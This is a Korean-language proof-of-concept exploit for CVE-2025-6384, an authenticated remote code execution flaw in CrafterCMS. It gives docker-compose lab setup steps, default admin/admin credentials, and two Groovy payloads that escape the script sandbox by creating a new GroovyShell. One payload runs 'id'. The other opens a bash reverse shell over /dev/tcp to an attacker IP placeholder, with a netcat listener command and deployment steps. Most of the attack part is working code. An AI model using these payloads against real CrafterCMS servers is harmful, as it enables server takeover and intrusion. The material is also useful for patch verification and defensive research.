
CrafterCMS에서 Groovy 샌드박스 우회를 통한 인증된 RCE에 대한 PoC 익스플로잇 (CVE-2025-6384)
인증된 사용자가 CrafterCMS에서 원격 코드 실행 취약점을 악용할 수 있는 개념 증명(PoC)입니다.
개발자 권한이 있는 인증된 사용자는 Crafter Studio에서 Groovy 스크립트 샌드박스를 우회하여 원격 코드 실행을 달성할 수 있습니다. 샌드박스는 새로운 GroovyShell의 인스턴스화를 차단하지 못하며, 이를 통해 제한되지 않은 새로운 실행 환경을 만들 수 있습니다.
공식 Docker Compose 파일을 사용하여 취약한 CrafterCMS 인스턴스를 빠르게 배포할 수 있습니다.
CrafterCMS의 docker-compose 저장소를 클론합니다:
git clone https://github.com/craftercms/docker-compose.git
authoring 환경 디렉터리로 이동합니다:
cd docker-compose/authoring
컨테이너를 시작합니다. 그러면 필요한 이미지를 다운로드하고 CrafterCMS 스택이 시작됩니다.
docker-compose up
(참고: Docker 설치에 따라 sudo가 필요할 수 있습니다.)
서비스가 완전히 초기화될 때까지 기다립니다. http://localhost:8080/studio에서 Crafter Studio에 접근할 수 있습니다.
adminadmin샌드박스는 직접 실행 메서드를 올바르게 차단하지만, 아래의 페이로드는 새로운 샌드박스가 적용되지 않은 Groovy 셸을 생성하는 것을 허용합니다.
// File: /scripts/interceptors/pwn.groovy
def shell = new GroovyShell()
def command = "id" // <-- 여기에 명령어 입력
def result = shell.evaluate("'''${command}'''.execute().text")
// 출력은 서버 로그에 출력됩니다
System.err.println("[RCE-PoC] " + result)
이 페이로드는 공격자가 제어하는 머신으로 리버스 셸을 설정하여 완전한 RCE를 보여줍니다.
자신의 머신에서 리스너를 시작하여(예: netcat 사용) 들어오는 연결을 수신합니다:
nc -lvnp 4444
다음 Groovy 스크립트를 페이로드로 사용하세요. <YOUR_IP>와 <YOUR_PORT>를 리스너의 IP와 포트로 반드시 교체하세요.
// File: /scripts/interceptors/exploit.groovy
def attacker_ip = "<YOUR_IP>"
def attacker_port = "4444" // 또는 <YOUR_PORT>
def cmd = "bash -i >& /dev/tcp/" + attacker_ip + "/" + attacker_port + " 0>&1"
def shell = new GroovyShell()
// 명령어 문자열을 쉽게 처리하기 위해 삼중 따옴표 사용
shell.evaluate("""
new ProcessBuilder("/bin/bash", "-c", "${cmd}").start()
""")
System.err.println("리버스 셸 페이로드 실행됨.")
기본 자격 증명(admin / admin)을 사용하여 Crafter Studio(http://localhost:8080/studio)에 로그인합니다.
사이트 구성 -> 스크립트로 이동합니다.
"Groovy 스크립트" 섹션에서 스크립트 생성/편집을 클릭합니다.
실행될 스크립트 유형(예: 요청 인터셉터)을 선택합니다.
PoC 페이로드를 스크립트 편집기에 붙여넣고 저장합니다.
웹사이트의 아무 페이지(예: http://localhost:8080)에 방문하여 스크립트를 트리거합니다.
서버의 표준 오류 로그에서 명령어 출력을 확인합니다.
docker-compose logs -f crafter
예상 출력:
GroovyShell: uid=1000(crafter) gid=1000(crafter) groups=1000(crafter)
netcat 리스너를 확인하세요. 컨테이너로부터 셸 세션을 수신해야 합니다.

이 자료는 교육 및 연구 목적으로만 제공됩니다. 작성자는 이 정보로 인한 어떠한 오용이나 손해에 대해 책임을 지지 않습니다.